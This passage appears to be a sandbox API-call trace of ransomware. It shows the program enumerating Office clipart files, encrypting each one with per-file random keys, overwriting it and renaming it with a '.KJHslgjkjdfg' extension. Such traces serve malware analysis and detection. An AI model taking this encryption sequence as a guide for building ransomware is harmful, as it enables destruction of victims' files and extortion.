out: pbBuffer=0x2bdd90) returned 1 [0191.790] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.790] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0191.796] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.796] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.796] GetProcessHeap () returned 0x2a0000 [0191.796] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.796] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.796] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.796] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.796] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.796] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.796] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.796] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.796] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.797] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.797] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.797] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.797] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2734, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2734, lpOverlapped=0x0) returned 1 [0191.798] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2740, dwBufLen=0x2740 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2740) returned 1 [0191.798] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.798] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2740, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2740, lpOverlapped=0x0) returned 1 [0191.798] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.798] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.798] SetEndOfFile (hFile=0x114) returned 1 [0191.801] GetProcessHeap () returned 0x2a0000 [0191.801] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.801] GetProcessHeap () returned 0x2a0000 [0191.801] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.802] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf.kjhslgjkjdfg")) returned 1 [0191.804] CloseHandle (hObject=0x114) returned 1 [0191.804] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x852ba300, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x852ba300, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY01253_.WMF", cAlternateFileName="")) returned 1 [0191.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.805] GetProcessHeap () returned 0x2a0000 [0191.805] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.805] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.805] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.805] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0191.808] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.808] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.808] GetProcessHeap () returned 0x2a0000 [0191.809] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.809] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.809] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.809] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.809] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.809] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.809] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.809] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.809] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.809] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.809] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.809] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.809] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x78a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x78a, lpOverlapped=0x0) returned 1 [0191.809] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x790, dwBufLen=0x790 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x790) returned 1 [0191.810] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.810] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x790, lpOverlapped=0x0) returned 1 [0191.810] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.810] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.810] SetEndOfFile (hFile=0x114) returned 1 [0191.812] GetProcessHeap () returned 0x2a0000 [0191.812] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.812] GetProcessHeap () returned 0x2a0000 [0191.812] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.812] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf.kjhslgjkjdfg")) returned 1 [0191.815] CloseHandle (hObject=0x114) returned 1 [0191.815] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf461c100, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf461c100, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY01462_.WMF", cAlternateFileName="")) returned 1 [0191.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.817] GetProcessHeap () returned 0x2a0000 [0191.817] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.817] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.817] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.817] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0191.820] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.820] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.820] GetProcessHeap () returned 0x2a0000 [0191.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.820] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.820] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.820] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.820] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.820] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.820] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.820] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.820] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.821] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.821] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.821] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.821] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x326, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x326, lpOverlapped=0x0) returned 1 [0191.821] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x330, dwBufLen=0x330 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x330) returned 1 [0191.821] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.821] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x330, lpOverlapped=0x0) returned 1 [0191.821] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.821] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.821] SetEndOfFile (hFile=0x114) returned 1 [0191.824] GetProcessHeap () returned 0x2a0000 [0191.824] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.824] GetProcessHeap () returned 0x2a0000 [0191.824] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.824] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf.kjhslgjkjdfg")) returned 1 [0191.827] CloseHandle (hObject=0x114) returned 1 [0191.827] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6e15600, ftCreationTime.dwHighDateTime=0x1bd4bf8, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6e15600, ftLastWriteTime.dwHighDateTime=0x1bd4bf8, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY01491_.WMF", cAlternateFileName="")) returned 1 [0191.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.829] GetProcessHeap () returned 0x2a0000 [0191.829] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.829] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.829] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.829] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.829] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.829] GetProcessHeap () returned 0x2a0000 [0191.829] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.829] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.829] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.829] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.832] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.832] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.832] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.832] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.832] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.832] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.832] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.832] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.833] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x470, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x470, lpOverlapped=0x0) returned 1 [0191.833] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x470, dwBufLen=0x470 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x470) returned 1 [0191.833] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.833] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x470, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x470, lpOverlapped=0x0) returned 1 [0191.833] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.833] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x544, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.833] SetEndOfFile (hFile=0x114) returned 1 [0191.836] GetProcessHeap () returned 0x2a0000 [0191.836] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.836] GetProcessHeap () returned 0x2a0000 [0191.836] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.836] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf.kjhslgjkjdfg")) returned 1 [0191.838] CloseHandle (hObject=0x114) returned 1 [0191.838] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45a48d00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45a48d00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x13c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY01563_.WMF", cAlternateFileName="")) returned 1 [0191.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.840] GetProcessHeap () returned 0x2a0000 [0191.840] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.840] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.840] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.840] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0191.842] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.842] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.842] GetProcessHeap () returned 0x2a0000 [0191.842] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.842] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.842] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.842] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.843] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.843] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, 